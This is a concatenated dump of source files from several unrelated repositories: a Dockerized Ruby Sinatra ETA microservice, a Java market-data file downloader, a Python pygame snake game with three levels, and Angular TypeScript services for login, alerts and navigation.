ENV RUBY_PACKAGES ruby ruby-io-console ruby-bundler
RUN apk update && \
apk upgrade && \
apk add $BUILD_PACKAGES && \
apk add $RUBY_PACKAGES && \
rm -rf /var/cache/apk/*
RUN mkdir /usr/app
WORKDIR /usr/app
COPY Gemfile /usr/app/
COPY Gemfile.lock /usr/app/
RUN bundle install
COPY . /usr/app
EXPOSE 9292
WORKDIR /usr/app/
CMD ["rackup", "./sinatra_grape.ru"]
<file_sep>require 'uri'
require 'net/http'
# require 'json'
uri = URI.parse("http://localhost:9292/eta?start_coordinates=55.6,33009,37.669079&end_coordinates=55.629109,37.667062")
Net::HTTP::Get.new uri.path
# body = {
# "start_coordinates"=> "[55.633009, 37.669079]",
# "end_coordinates"=> "[55.629109, 37.667062]"
# }
response = Net::HTTP.start(uri.host, uri.port) { |http|
req = Net::HTTP::Get.new "#{uri.path}?#{uri.query}"
# req.body = body.to_json if body
req.content_type = "application/json"
# req.basic_auth(login, password) if login
http.request(req)
}
puts response.code
puts response.body.inspect
<file_sep>require 'sinatra'
require 'grape'
require './eta_calculator'
class API < Grape::API
Calculator = EtaCalculator.new
format :json
params do
requires "start_coordinates", type: String
requires "end_coordinates", type: String
end
get :eta do
parsed_start_coordinates = Calculator.parse_coordinates( params[:start_coordinates] )
parsed_end_coordinates = Calculator.parse_coordinates( params[:end_coordinates] )
if Calculator.check_coordinates(parsed_start_coordinates) && Calculator.check_coordinates(parsed_end_coordinates)
{
"eta": Calculator.calculate(parsed_start_coordinates, parsed_end_coordinates)
}
else
status 400
{}
end
end
end
class Web < Sinatra::Base
get '/' do
puts 'Hello world.'
{}.to_json
end
end
# use Rack::Session::Cookie
run Rack::Cascade.new [API, Web]<file_sep># wheely-test
## Описание
Для микросервиса выбрал Ruby, говорят на Go быстрее, но времени на его изучение пока, к сожалению, нет.
**Также использовал**:
* **Sinatra** -- (небольшой Ruby-фреймворк на котором можно быстро создать веб приложение, написанное на Ruby с минимальными усилиями)
* **Grape** -- (Ruby-фреймворк, предназначенный для быстрой и удобной разработки API)
* **Bundler** -- (удобный менеджер для управления ruby-gem'ами)
* **Docker** -- (легкие контейнеры, которые удобно деплоить, отдельным плюсом идет множество готовых контейнеров, поддерживаемых производителями софта)
* **протокол HTTP** -- (не тяжелый, есть встроенные коды состояния)
* **транспорт через REST API сервиса** -- (на выходе json)
* **Redis** -- нереляционная высокопроизводительная СУБД, используется для кеширования
P.S. С микросервисами (да и практически всеми технологиями) сталкиваюсь впервые, на текущем рабочем проекте даже гемы использовать запрещено, т.к. все должно быть реализовано средствами платформы(на DSL поверх JRuby).
В качестве контейнера для ruby взят **alpine**, основанный на Alpine Linux и очень маленький.
**Пока не реализовано**:
* **среднее время подачи для трех ближайших свободных машин**
* **кеширование**
* **вебсервис с json (API)**
* **разложить файлы по папкам**
В текущей реализации параметры в запросе к микросервису передаются в query string, пример:
```http://localhost:9292/eta?start_coordinates=55.633009,37.669079&end_coordinates=55.629109,37.667062" ```
в запросе указываются 2 параметра: набор начальных и конечных координат(пользователь и машина) start_coordinates, end_coordinates
## Запуск
Клонируем репозиторий:
```bash
git clone https://github.com/delisher/wheely-test.git
```
Для запуска микросервиса на docker нужен установленный и настроенный docker
Из корневой папки репозитория:
```bash
docker build -t delisher/wheely:latest ./
docker run -p 9292:9293 delisher/wheely
```
Пока есть какие-то проблемы с прокидыванием портов, пока отложил решение проблемы.
Для ручного запуска сервиса(без докера) из корневой папки проекта следует выполнить:
```bash
gem install bundler
bundler install
rackup sinatra_grape.ru
```<file_sep>class EtaCalculator
include Math
EARTH_RADIUS = 6371 # Радиус земли в км
RAD_PER_DEG = PI / 180 # Радиан в градусе
def calculate(start_coordinates, end_coordinates)
# TODO Учесть 2 соседних машины
harvestine_distance(start_coordinates, end_coordinates) * 1.5
end
def harvestine_distance(start_coordinates, end_coordinates)
lat1, long1 = deg2rad(*start_coordinates)
lat2, long2 = deg2rad(*end_coordinates)
2 * EARTH_RADIUS * asin( sqrt( sin( (lat2 - lat1) / 2 ) ** 2 + cos(lat1) * cos(lat2) * sin( (long2 - long1) / 2 ) ** 2 ) )
end
def deg2rad(lat, long)
[lat * RAD_PER_DEG, long * RAD_PER_DEG]
end
def check_coordinates coordinates
coordinates.size == 2
end
def parse_coordinates coordinates
coordinates.split(',').map{|sc| sc.to_f}
end
end
# start_coordinates = [55.633009, 37.669079]
# end_coordinates = [55.629109, 37.667062]
# puts EtaCalculator.new.calculate(start_coordinates, end_coordinates)
# puts "%.10f" % EtaCalculator.new.harvestine_distance(start_coordinates, end_coordinates) | 1b8031032322799029ab12fb8821d89b9ef9095f | [
"Markdown",
"Ruby",
"Dockerfile"
] | 5 | Dockerfile | delisher/wheely-test | ad2c2076e2f7dd9b50ceea53eeaad1cc2a605228 | 28a9e998fc9b7b4366492ccbe7b7bd4779901c76 |
refs/heads/master | <file_sep>package com.splashid.genericLib;
public interface Constants {
String browser = "Firefox";
String url = "https://beta.splashid.com/login";
String UserName = "<EMAIL>";
String Password = "<PASSWORD>";
}
| 38e80bf2471d5e5721e7e025dd07003be554974b | [
"Java"
] | 1 | Java | testsplashid/SplashIDAutomationWeb | 85cc5c3b3d309bc7fd14266b97948ce5d1ee35bb | 25bf07b08170202eb346a00b70715ecab7f1d565 |
refs/heads/master | <file_sep>package com.thinkive.download.market;
import com.thinkive.download.util.HQBaseConfig;
import java.util.ArrayList;
import java.util.List;
/**
* 描述 : 地址管理类
* 版权 : Copyright-(c) 2017
* 公司 : Thinkive
*
* @author 王嵊俊
* @version 2017-01-20 16:55
*/
public class AddressManager {
private List<String> addressList;
private String addressPrefix = HQBaseConfig.ADDRESS_PREFIX;
private String addressSuffix = HQBaseConfig.ADDRESS_SUFFIX;
private int index = 0;
private int addressCount;
public AddressManager(String addresses, String fileName) throws Exception {
if (addresses == null || addresses.isEmpty()) {
throw new Exception("无效的下载地址");
}
String addressArray[] = addresses.split("\\|");
addressList = new ArrayList<String>(addressArray.length);
for (String address : addressArray) {
addressList.add(addressPrefix + address + addressSuffix + fileName);
}
addressCount = addressList.size();
}
public String getAddress() {
return addressList.get(index);
}
public void changeAddress() {
index++;
index = index < addressCount ? index : index % addressCount;
}
public String nextAddress() {
changeAddress();
return getAddress();
}
public void resetAddress() {
index = 0;
}
}
<file_sep>package com.thinkive.download.task;
import com.thinkive.download.market.DataManager;
import com.thinkive.timerengine.Task;
import java.util.Random;
public class DownloadTask
implements Task {
public void execute() {
long delayTime = new Random().nextInt(15 * 60 * 1000);
try {
Thread.sleep(delayTime);
} catch (InterruptedException e) {
}
DataManager.downloadData_();
}
}
<file_sep>package com.thinkive.download.util;
import com.thinkive.base.config.Configuration;
import java.io.File;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
/**
* 描述 : 配置类
* 版权 : Copyright-(c) 2017
* 公司 : Thinkive
*
* @author 王嵊俊
* @version 2017-01-20 17:25
*/
public class HQBaseConfig {
public static final String ADDESS = Configuration.getString("server.Address", "172.16.17.32:8080|172.16.58.3:8080");
public static final String FILE_STORE_PATH = new File(Configuration.getString("data.store")).getPath();
public static final String FILE_STORE_PATH_TEMP = FILE_STORE_PATH + "/temp";
public static final String ADDRESS_PREFIX = "http://";
// public static final String ADDRESS_SUFFIX = "/";
public static final String ADDRESS_SUFFIX = Configuration.getString("server.AddressSuffix","/products/download/base/");
public static final String MD5_SUFFIX = ".md5";
public static final String COMPRESS_SUFFIX = ".zip";
public static final String TEP_SUFFIX = ".tmp";
public static final List<String> FILE_NAME_LIST = getFileNameList();
public static final List<String> getFileNameList() {
Map<String, String> fileConfigMap = FileConfig.getItems();
String fileNamePrefix = "FileName.";
List<String> fileNameList = new ArrayList<String>();
for (String configName : fileConfigMap.keySet()) {
if (configName.startsWith(fileNamePrefix)) {
fileNameList.add(configName.substring(fileNamePrefix.length()));
}
}
return fileNameList;
}
}
<file_sep>package com.thinkive.download.market;
import com.thinkive.base.util.FileHelper;
import com.thinkive.base.util.net.HttpHelper;
import com.thinkive.base.util.security.MD5;
import com.thinkive.base.util.zip.ZipHelper;
import com.thinkive.download.util.HQBaseConfig;
import org.apache.log4j.Logger;
import java.io.FileOutputStream;
import java.io.IOException;
public class DownLoadFileTask implements Runnable {
private Logger logger = Logger.getLogger(DownLoadFileTask.class);
private final AddressManager addressManager;
private final String tempDir;
private final String targetDir;
private final String fileName;
private MD5 md5Factory = new MD5();
public DownLoadFileTask(String address, String fileName, String targetDir, String tempDir) throws Exception {
this.fileName = fileName;
this.tempDir = tempDir + "/";
this.targetDir = targetDir + "/";
this.addressManager = new AddressManager(address, fileName);
}
public void run() {
if (downloadFile(HQBaseConfig.COMPRESS_SUFFIX)
&& downloadFile(HQBaseConfig.MD5_SUFFIX)
&& checkFile()) {
copyFile();
addressManager.resetAddress();
DataManager.success();
} else {
retry();
}
}
public boolean downloadFile(String suffix) {
FileOutputStream outStream = null;
String url = addressManager.getAddress() + suffix;
String path = tempDir + fileName + suffix;
try {
this.logger.info(" -- @文件下载 -- 开始下载文件:[" + fileName + "],地址:[" + url + "]");
byte[] byteContent = HttpHelper.getURLContent(url);
if (byteContent != null) {
FileHelper.createNewFile(path);
outStream = new FileOutputStream(path);
outStream.write(byteContent);
outStream.close();
this.logger.info(" -- @文件下载 -- 下载文件[" + path + "]成功,文件大小:" + (byteContent.length >> 10) + "Kb" + "(" + byteContent.length + "Byte)");
return true;
} else {
this.logger.info(" -- @文件下载 -- 下载文件[" + path + "]失败,[Address:" + addressManager.getAddress() + suffix + "]");
}
} catch (Exception ex) {
this.logger.info(" -- @文件下载 -- 下载文件[" + path + "]失败,[Address:" + addressManager.getAddress() + suffix + "]");
} finally {
if (outStream != null) {
try {
outStream.close();
} catch (IOException localIOException2) {
}
}
}
return false;
}
/**
* 校验下载文件
*/
public boolean checkFile() {
String zipPath = tempDir + fileName + HQBaseConfig.COMPRESS_SUFFIX;
String md5Path = tempDir + fileName + HQBaseConfig.MD5_SUFFIX;
String md5 = "";
depress(zipPath, tempDir);
String tempPath = tempDir + fileName;
if (FileHelper.exists(tempPath)) {
String fileContent = readFileContent(tempPath);
String md5Content = readFileContent(md5Path);
if (fileContent == null || md5Content == null) {
return false;
}
md5 = md5Factory.getMD5ofStr(fileContent);
if (md5.equals(md5Content)) {
logger.warn(" -- @文件处理 -- MD5校验通过");
return true;
}
} else {
logger.warn(" -- @文件处理 -- 解压所得文件不是约定的文件:" + zipPath);
}
return false;
}
/**
* 复制
*/
public void copyFile() {
String sourcePath = tempDir + fileName;
String targetPath = targetDir + fileName;
// -- 复制改名后的文件
String tempFilenamePath = targetPath + HQBaseConfig.TEP_SUFFIX;
do {
deleteFile(tempFilenamePath);
} while (!FileHelper.copyFile(sourcePath, tempFilenamePath));
do {
deleteFile(targetPath);
} while (!FileHelper.renameTo(tempFilenamePath, targetPath));
logger.info(" -- @文件处理 -- 复制文件[" + targetPath + "]成功");
}
public void depress(String zipPath, String toDir) {
while (true) {
try {
ZipHelper.decompress(zipPath, toDir);
logger.info(" -- @文件处理 -- 解压文件成功:" + zipPath);
return;
} catch (Exception e) {
logger.info(" -- @文件处理 -- 解压文件失败:" + zipPath, e);
}
try {
Thread.sleep(20);
} catch (InterruptedException e) {
}
}
}
public String readFileContent(String filePath) {
while (true) {
if (!FileHelper.exists(filePath)) {
logger.warn(" -- @文件处理 -- 文件不存在:" + filePath);
return null;
}
try {
String content = FileHelper.readFileToString(filePath);
return content;
} catch (Exception e) {
logger.warn(" -- @文件处理 -- 读文件出错:" + filePath, e);
}
try {
Thread.sleep(20);
} catch (InterruptedException e) {
}
}
}
public void retry() {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
}
addressManager.changeAddress();
logger.info("重新下载,切换下载地址:[" + addressManager.getAddress() + "]");
run();
}
public void deleteFile(String path) {
while (FileHelper.exists(path) && !FileHelper.deleteFile(path)) {
try {
Thread.sleep(10);
} catch (InterruptedException e) {
}
}
}
}
| f71a4a7fe58487597c695e7038a9b1655a39885a | [
"Java"
] | 4 | Java | DongyeBaima/HQBase | 17d62798c694f705fd2a8e479ee05a1ac2c66c00 | c84bb9c2f7ffae030a1c1ab2aeb93f68659e6482 |
refs/heads/master | <file_sep>from tkinter import * #for main menu interface
from PIL import Image, ImageTk #for main menu background
import pygame
import random
bg=pygame.image.load('bg.png')
food_image=pygame.image.load('hm.png')
game_over_img=pygame.image.load('end.bmp')
wallImage = pygame.image.load('wood.png')
#-------------------------LEVEL 1 (ONLY FUNCTIONS)----------------------------#
def GameOne():
window.destroy()
pygame.init()
screen = pygame.display.set_mode((800, 600))
fps = pygame.time.Clock()
# snake has a little body first
snake_pos = [100, 50]
body = [[100, 50], [90, 50]]
# food will be spawned randomly
food_pos = [random.randrange(1, (800//10)) * 10, random.randrange(1, (600//10)) * 10]
food_give = True
direction = 'DOWN'
navigate = direction
score = 0
def result():
score_font = pygame.font.SysFont('Impact', 30)
score_text = score_font.render('S C O R E : ' + str(score), True, (0,0,0))
screen.blit(score_text, (630,10))
def game_over():
my_font = pygame.font.SysFont('times new roman', 85)
over_text = my_font.render('GAME OVER...', True, (255,0,0))
food_pos[0]=2000 #food will not be seem after game
screen.blit(over_text, (170,250))
#IF SNAKE GOES OUT OF GAME FIELD
def out():
if snake_pos[0] < 0 or snake_pos[0] > 800-10:
game_over()
if snake_pos[1] < 0 or snake_pos[1] > 600-10:
game_over()
#IF SNAKE COLLIDES WITH SELF
def autokill():
for part in body[1:]:
if snake_pos[0] == part[0] and snake_pos[1] == part[1]:
game_over()
run=True
while run:
for event in pygame.event.get():
if event.type == pygame.QUIT:
run=False
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_UP:
navigate = 'UP'
if event.key == pygame.K_DOWN:
navigate = 'DOWN'
if event.key == pygame.K_LEFT:
navigate = 'LEFT'
if event.key == pygame.K_RIGHT :
navigate = 'RIGHT'
if event.key == pygame.K_ESCAPE:
run=False
if navigate == 'UP' :
direction = 'UP'
if navigate == 'DOWN':
direction = 'DOWN'
if navigate == 'LEFT' :
direction = 'LEFT'
if navigate == 'RIGHT' :
direction = 'RIGHT'
if direction == 'UP':
snake_pos[1] -= 10
if direction == 'DOWN':
snake_pos[1] += 10
if direction == 'LEFT':
snake_pos[0] -= 10
if direction == 'RIGHT':
snake_pos[0] += 10
body.insert(0, list(snake_pos))
#COLLISION WITH FOOD
if snake_pos[0] == food_pos[0] and snake_pos[1] == food_pos[1]:
score += 1
food_give = False
else:
body.pop()
if food_give == False:
food_pos = [random.randrange(1, (800//10)) * 10, random.randrange(1, (600//10)) * 10]
food_give = True
screen.fill((0,0,0))
#DRAWING SNAKE
for pos in body:
pygame.draw.rect(screen, (0,255,0), pygame.Rect(pos[0], pos[1], 10, 10))
#DRAWING FOOD
pygame.draw.rect(screen, (255,255,255), pygame.Rect(food_pos[0], food_pos[1], 10, 10))
result()
out()
autokill()
pygame.display.update()
fps.tick(15)
def GameTwo():
window.destroy()
screen = pygame.display.set_mode((800, 600))
pygame.init()
class Snake:
def __init__(self):
self.size = 1
self.parts = [[100, 100]]
self.dx = 5
self.dy = 0
self.is_add = False
self.score=0
self.color=(70,60,71)
def draw(self):
for element in self.parts:
#pygame.draw.circle(screen, (self.color), element, self.radius)
pygame.draw.rect(screen, (0,0,0), pygame.Rect(element[0], element[1], 10, 10))
def move(self):
if self.is_add:
self.size += 1
self.parts.append([0, 0])
self.is_add = False
for i in range(len(self.parts) - 1, 0, -1):
self.parts[i][0] = self.parts[i - 1][0]
self.parts[i][1] = self.parts[i - 1][1]
self.parts[0][0] += self.dx
self.parts[0][1] += self.dy
def out(self):
if self.parts[0][0]>=800 or self.parts[0][0]<=0 or self.parts[0][1]<=0 or self.parts[0][1]>=600:
return True
return False
def autokill(self):
for part in self.parts[1:]:
if self.parts[0][0] == part[0] and self.parts[0][1] == part[1]:
return True
return False
def show_score(self):
font = pygame.font.SysFont("Impact", 37)
score = font.render("S C O R E: " + str(self.score), True, (0,0,0))
screen.blit(score, (615, 20))
def the_end(self):
self.dx = 0
self.dy = 0
food.x=3000
class Food:
def __init__(self):
self.x = random.randint(20,740)
self.y = random.randint(20,540)
def draw(self):
screen.blit(food_image, (self.x, self.y))
def Collision(self,Snake):
if (self.x >= Snake.parts[0][0]-20 and self.x < Snake.parts[0][0]+20) and (self.y >= Snake.parts[0][1] -20 and self.y<Snake.parts[0][1] +20):
Snake.is_add = True
if Snake.is_add == True:
Snake.score += 1
self.x = random.randint(10, 750)
self.y = random.randint(10, 550)
class Wall:
def __init__(self,x,y):
self.x = x
self.y = y
self.width = 25
self.height = 25
def draw(self):
screen.blit( wallImage,(self.x,self.y))
def hits(self,Snake):
if Snake.parts[0][0] in range (self.x-5,self.x+30):
if Snake.parts[0][1] in range (self.y-5,self.y+30):
return True
return False
def notInFood(self,Food):
if Food.x in range(self.x-10, self.x+35) :
if Food.y in range(self.y - 10, self.y + 35):
Food.x = random.randint(10, 750)
Food.y = random.randint(10, 550)
snake = Snake()
food=Food()
playing = True
score=0
d = 3
walls = []
X1,Y1 = 170,150
for i in (range (18)):
walls.append(Wall(X1,Y1))
X1 += 25
X2,Y2 = 170,175
for i in (range(12)):
walls.append(Wall(X2,Y2))
Y2 += 25
X3,Y3= 170, 475
for i in (range (19)):
walls.append(Wall(X3,Y3))
X3 += 25
FPS = 30
clock = pygame.time.Clock()
while playing:
screen.blit(bg, (0, 0))
mill = clock.tick(FPS)
for event in pygame.event.get():
if event.type == pygame.QUIT:
playing = False
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_ESCAPE:
playing = False
if event.key == pygame.K_RIGHT:
snake.dx = d
snake.dy = 0
if event.key == pygame.K_LEFT:
snake.dx = -d
snake.dy = 0
if event.key == pygame.K_UP:
snake.dx = 0
snake.dy = -d
if event.key == pygame.K_DOWN:
snake.dx = 0
snake.dy = d
if snake.out()==True or snake.autokill()==True :
snake.the_end()
screen.blit(game_over_img,(0,0))
for wall in walls:
wall.draw()
wall.notInFood(food)
if wall.hits(snake)==True:
snake.the_end()
screen.blit(game_over_img,(0,0))
snake.move()
food.Collision(snake)
food.draw()
snake.draw()
snake.show_score()
pygame.display.update()
def GameThree():
window.destroy()
screen = pygame.display.set_mode((800, 600))
pygame.init()
class Snake:
def __init__(self):
self.size = 1
self.parts = [[100, 100]]
self.dx = 5
self.dy = 0
self.is_add = False
self.score=0
self.color=(40,40,50)
def draw(self):
for element in self.parts:
#pygame.draw.circle(screen, (self.color), element, self.radius)
pygame.draw.rect(screen, (0,0,0), pygame.Rect(element[0], element[1], 10, 10))
def move(self):
if self.is_add:
self.size += 1
self.parts.append([0, 0])
self.is_add = False
for i in range(len(self.parts) - 1, 0, -1):
self.parts[i][0] = self.parts[i - 1][0]
self.parts[i][1] = self.parts[i - 1][1]
self.parts[0][0] += self.dx
self.parts[0][1] += self.dy
def out(self):
if self.parts[0][0]>=800 or self.parts[0][0]<=0 or self.parts[0][1]<=0 or self.parts[0][1]>=600:
return True
return False
def autokill(self):
for part in self.parts[1:]:
if self.parts[0][0] == part[0] and self.parts[0][1] == part[1]:
return True
return False
def show_score(self):
font = pygame.font.SysFont("Impact", 37)
score = font.render("S C O R E: " + str(self.score), True, (50,50,50))
screen.blit(score, (615, 20))
def the_end(self):
self.dx = 0
self.dy = 0
food.x=3000
class Food:
def __init__(self):
self.x = random.randint(20,740)
self.y = random.randint(20,540)
def draw(self):
screen.blit(food_image, (self.x, self.y))
def Collision(self,Snake):
if (self.x >= Snake.parts[0][0]-20 and self.x < Snake.parts[0][0]+20) and (self.y >= Snake.parts[0][1] -20 and self.y<Snake.parts[0][1] +20):
Snake.is_add = True
if Snake.is_add == True:
Snake.score += 1
self.x = random.randint(10, 750)
self.y = random.randint(10, 550)
class Wall:
def __init__(self,x,y):
self.x = x
self.y = y
self.width = 25
self.height = 25
def draw(self):
screen.blit( wallImage,(self.x,self.y))
def hits(self,Snake):
if Snake.parts[0][0] in range (self.x-5,self.x+23):
if Snake.parts[0][1] in range (self.y-5,self.y+30):
return True
def notInFood(self,Food):
if Food.x in range(self.x-5,self.x+25) and Food.y in range(self.y,self.y+25):
Food.x = random.randint(10, 750)
Food.y = random.randint(10, 550)
snake = Snake()
food=Food()
playing = True
score=0
d = 4
walls = []
X1,Y1 = 140,120
for i in (range (17)):
walls.append(Wall(X1,Y1))
Y1 += 25
X2,Y2 = 165,120
for i in (range(6)):
walls.append(Wall(X2,Y2))
X2 += 25
X3,Y3= 315,120
for i in (range (17)):
walls.append(Wall(X3,Y3))
Y3 += 25
X4, Y4 = 315,520
for i in (range (9)):
walls.append(Wall(X4,Y4))
X4 += 25
X5,Y5=540,120
for i in (range (17)):
walls.append(Wall(X5,Y5))
Y5 += 25
FPS = 30
clock = pygame.time.Clock()
while playing:
mill = clock.tick(FPS)
screen.blit(bg, (0, 0))
for event in pygame.event.get():
if event.type == pygame.QUIT:
playing = False
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_ESCAPE:
playing = False
if event.key == pygame.K_RIGHT:
snake.dx = d
snake.dy = 0
if event.key == pygame.K_LEFT:
snake.dx = -d
snake.dy = 0
if event.key == pygame.K_UP:
snake.dx = 0
snake.dy = -d
if event.key == pygame.K_DOWN:
snake.dx = 0
snake.dy = d
if snake.out()==True or snake.autokill()==True :
snake.the_end()
screen.blit(game_over_img,(0,0))
for wall in walls:
wall.notInFood(food)
wall.draw()
if wall.hits(snake)==True:
snake.the_end()
screen.blit(game_over_img,(0,0))
snake.move()
food.Collision(snake)
food.draw()
snake.draw()
snake.show_score()
wall.notInFood(food)
pygame.display.flip()
window = Tk()
window.geometry('800x600')
window.title('SNAKE GAME')
load = Image.open("paper.png")
render = ImageTk.PhotoImage(load)
img = Label(window, image=render)
img.image = render
img.place(x=0, y=0)
One = Button(window, text=" L E V E L O N E ", command=GameOne,bg='yellow',fg='black',width=25,height=5,font='Elephant')
One.pack()
One.place(bordermode=INSIDE, x=180,y=100,height=50, width=400)
Two = Button(window, text=" L E V E L T W O ", command=GameTwo,bg='yellow',fg='black', width=25, height=5,font='Elephant')
Two.pack()
Two.place(bordermode=INSIDE, x=180,y=250,height=50, width=400)
Three = Button(window, text=" L E V E L T H R E E ", command=GameThree,bg='yellow',fg='black', width=25, height=5,font='Elephant')
Three.pack()
Three.place(bordermode=INSIDE, x=180,y=400,height=50, width=400)
window.mainloop() | b0be85e5928d7e052d4f1087d70e09ac80242442 | [
"Python"
] | 1 | Python | dinara04122001/pp2_snake_game | bdb136d33c4e2ee7b3852dfe61a3ecd9504019d7 | 94ae85ef49308365289538d5491abb150f2cfb6c |
refs/heads/master | <repo_name>pjefika/BaixaAngular<file_sep>/src/app/services/alertservice/alert.service.ts
import { Injectable } from '@angular/core';
import { ToastyComponent } from '../../utilcomponents/alertas/toasty/toasty.component';
@Injectable()
export class AlertService {
constructor(public toastyComponent: ToastyComponent) { }
public callToasty(titulo: string, msg: string, theme: string, timeout?: number) {
this.toastyComponent.toastyInfo = {
titulo: titulo,
msg: msg,
theme: theme,
timeout: timeout
}
this.toastyComponent.addToasty();
}
}<file_sep>/src/app/services/supercomponent/supercomponent.service.ts
import { Injectable } from '@angular/core';
import { ToastyComponent } from '../../utilcomponents/alertas/toasty/toasty.component';
import { AlertService } from '../alertservice/alert.service';
import { SistemaService } from '../sistema/sistema.service';
@Injectable()
export class SuperComponentService extends AlertService {
constructor(public toastyComponent: ToastyComponent,
public sistemaService: SistemaService) {
super(toastyComponent);
}
public enabledisablesidenav(enable: boolean) {
setTimeout(() => {
this.sistemaService.sideNavAtivo = enable;
}, 1);
}
}<file_sep>/src/app/utilcomponents/baixacomponent/baixa.service.ts
import { Injectable } from '@angular/core';
import { SuperService } from '../../services/superservice/super.service';
import { Http } from '@angular/http';
import { Baixa } from '../../viewmodels/baixa/baixa';
@Injectable()
export class BaixaService extends SuperService {
constructor(public http: Http) {
super(http)
}
public getList() {
}
public getlistMock(): Promise<Baixa[]> {
let baixas: Baixa[] = require("../../../assets/json/table-baixa.json");
return Promise.resolve(baixas);
}
}<file_sep>/src/app/viewmodels/baixa/baixa.ts
export class Baixa {
ordem: string;
instanica: string;
data: number;
info?: string;
infoTec: string;
}<file_sep>/src/app/services/exceptionservice/exception.service.ts
import { Injectable } from '@angular/core';
import { ɵb } from 'HttpEasyRequestForPostGet';
import { Http } from '@angular/http';
@Injectable()
export class ExceptionService extends ɵb {
constructor(public http: Http) {
super(http);
}
public handleError(error: any): Promise<any> {
return Promise.reject(error);
}
public handleErrorKing(error: any): Promise<any> {
let er: any;
if (error.message === "Timeout has occurred") {
er = {
tError: "Timeout",
mError: "Tempo de busca excedido, por favor realize a busca novamente, caso o problema persista informe ao administrador do sistema."
}
} else {
let erJson: any;
erJson = error.json();
er = {
tError: "",
mError: erJson.message
}
}
return Promise.reject(er);
}
}<file_sep>/src/app/login/login.service.ts
import { Injectable } from '@angular/core';
import { Http } from '@angular/http';
import { SuperService } from '../services/superservice/super.service';
import { Usuario } from '../viewmodels/login/usuario';
@Injectable()
export class LoginService extends SuperService {
constructor(public http: Http) {
super(http);
}
public autentica(usuario: Usuario): Promise<Boolean> {
this.infoRequest = {
requestType: "POST",
url: super.mountLink(this.getLinks(), "authAPI", "autentica/verificarCredencial"),
_data: usuario,
timeout: 5000
};
return super.request(this.infoRequest)
.then(resposta => {
return resposta as Boolean;
})
.catch(super.handleErrorKing);
}
public getUsuario(usuario: Usuario): Promise<Usuario> {
this.infoRequest = {
requestType: "GET",
url: super.mountLink(this.getLinks(), "authAPI", "autentica/consultar/"),
_data: usuario.login,
timeout: 5000
};
return super.request(this.infoRequest)
.then(resposta => {
return resposta as Usuario;
})
.catch(super.handleErrorKing);
}
public getUsuarioMock(): Usuario {
return JSON.parse('{"login":"G0034481","nivel":10}');
}
}<file_sep>/src/app/services/superservice/super.service.ts
import { Injectable } from '@angular/core';
import { Http } from '@angular/http';
import { LinkService } from '../linkservice/link.service';
import { UrlEndPoint } from '../../viewmodels/url/urlendpoint';
@Injectable()
export class SuperService extends LinkService {
constructor(public http: Http) {
super(http);
}
public mountLink(endpoint: UrlEndPoint, deploy: string, path: string): string {
let url: string;
endpoint.endpoints.forEach(endpoint => {
if (endpoint.nome === deploy) {
url = endpoint.url + path;
}
});
return url;
}
}<file_sep>/src/app/services/sistema/sistema.service.ts
import { Injectable } from '@angular/core';
import { SubNav } from '../../viewmodels/subnav/subnav';
@Injectable()
export class SistemaService {
public version: string;
public ableMock: boolean = true;
public subNavAtivo: boolean = false;
public liberarSubNav: boolean = false;
public sideNavAtivo: boolean = false;
public subNavMenus: SubNav[];
constructor() { }
}<file_sep>/src/app/services/linkservice/link.service.ts
import { Injectable } from '@angular/core';
import { ExceptionService } from '../exceptionservice/exception.service';
import { Http } from '@angular/http';
import { UrlEndPoint } from '../../viewmodels/url/urlendpoint';
import { InfoRequest } from 'HttpEasyRequestForPostGet/app/modules/viewmodel/inforequest';
@Injectable()
export class LinkService extends ExceptionService {
public infoRequest: InfoRequest;
constructor(public http: Http) {
super(http);
}
public getLinks(): UrlEndPoint {
//Mock Produção
return JSON.parse('{"endpoints":[{"nome":"customerAPI","url":"http://10.40.198.168:7171/customerAPI/"},{"nome":"fulltestAPI","url":"http://10.40.198.168:7172/fulltestAPI/"},{"nome":"stealerAPI","url":"http://10.40.198.168:7173/stealerAPI/"},{"nome":"authAPI","url":"http://10.40.198.168:7176/authAPI/"},{"nome":"dmsAPI","url":"http://10.200.35.67:80/dmsAPI/"},{"nome":"acs","url":"http://10.200.35.67:80/acs/"}]}');
//Mock QA
// return JSON.parse('{"endpoints":[{"nome":"customerAPI","url":"http://10.40.196.182:7171/customerAPI/"},{"nome":"fulltestAPI","url":"http://10.40.196.182:7172/fulltestAPI/"},{"nome":"stealerAPI","url":"http://10.40.196.182:7173/stealerAPI/"},{"nome":"authAPI","url":"http://10.40.196.182:7176/authAPI/"},{"nome":"dmsAPI","url":"http://10.200.35.67:80/dmsAPI/"},{"nome":"acs","url":"http://10.200.35.67:80/acs/"}]}');
}
}<file_sep>/src/app/utilcomponents/subnav/subnav.component.ts
import { Component, OnInit, Input } from '@angular/core';
import { SuperComponentService } from '../../services/supercomponent/supercomponent.service';
import { ToastyComponent } from '../alertas/toasty/toasty.component';
import { SubNav } from '../../viewmodels/subnav/subnav';
import { DynamicRouterService } from '../dynamicrouter/dynamic-router.service';
import { SistemaService } from '../../services/sistema/sistema.service';
@Component({
selector: 'subnav-component',
templateUrl: 'subnav.component.html',
styleUrls: ['subnav.component.css']
})
export class SubnavComponent extends SuperComponentService implements OnInit {
@Input() public menus: SubNav[];
constructor(public toastyComponent: ToastyComponent,
public dynamicRouterService: DynamicRouterService,
public sistemaService: SistemaService) {
super(toastyComponent, sistemaService);
}
ngOnInit() { }
private abrecomponent(l: SubNav) {
if (this.sistemaService.liberarSubNav || l.ativo) {
if (l.link) {
window.open(l.link);
} else {
this.dynamicRouterService.component = l.component;
}
}
if (!this.validaSeTemSideNav(l)) {
super.enabledisablesidenav(false);
}
}
private subNavActive(l: SubNav): Boolean {
let active = false;
if (l.component === this.dynamicRouterService.component) {
active = true;
}
return active;
}
private validaSeTemSideNav(l: SubNav) {
let valid: boolean = false;
if (l.haveSideNav) {
valid = true;
}
return valid;
}
}<file_sep>/src/app/mocks/subnav/subnav.ts
import { SubNav } from "../../viewmodels/subnav/subnav";
import { PrincipalComponent } from "../../utilcomponents/principalcomponent/principal.component";
import { BaixaComponent } from "../../utilcomponents/baixacomponent/baixa.component";
export const SubNavList: SubNav[] = [
{
nome: "Home",
component: PrincipalComponent,
ativo: true
},
{
nome: "Baixa",
component: BaixaComponent,
ativo: true
}
]<file_sep>/src/app/services/util/util.service.ts
import { Injectable } from '@angular/core';
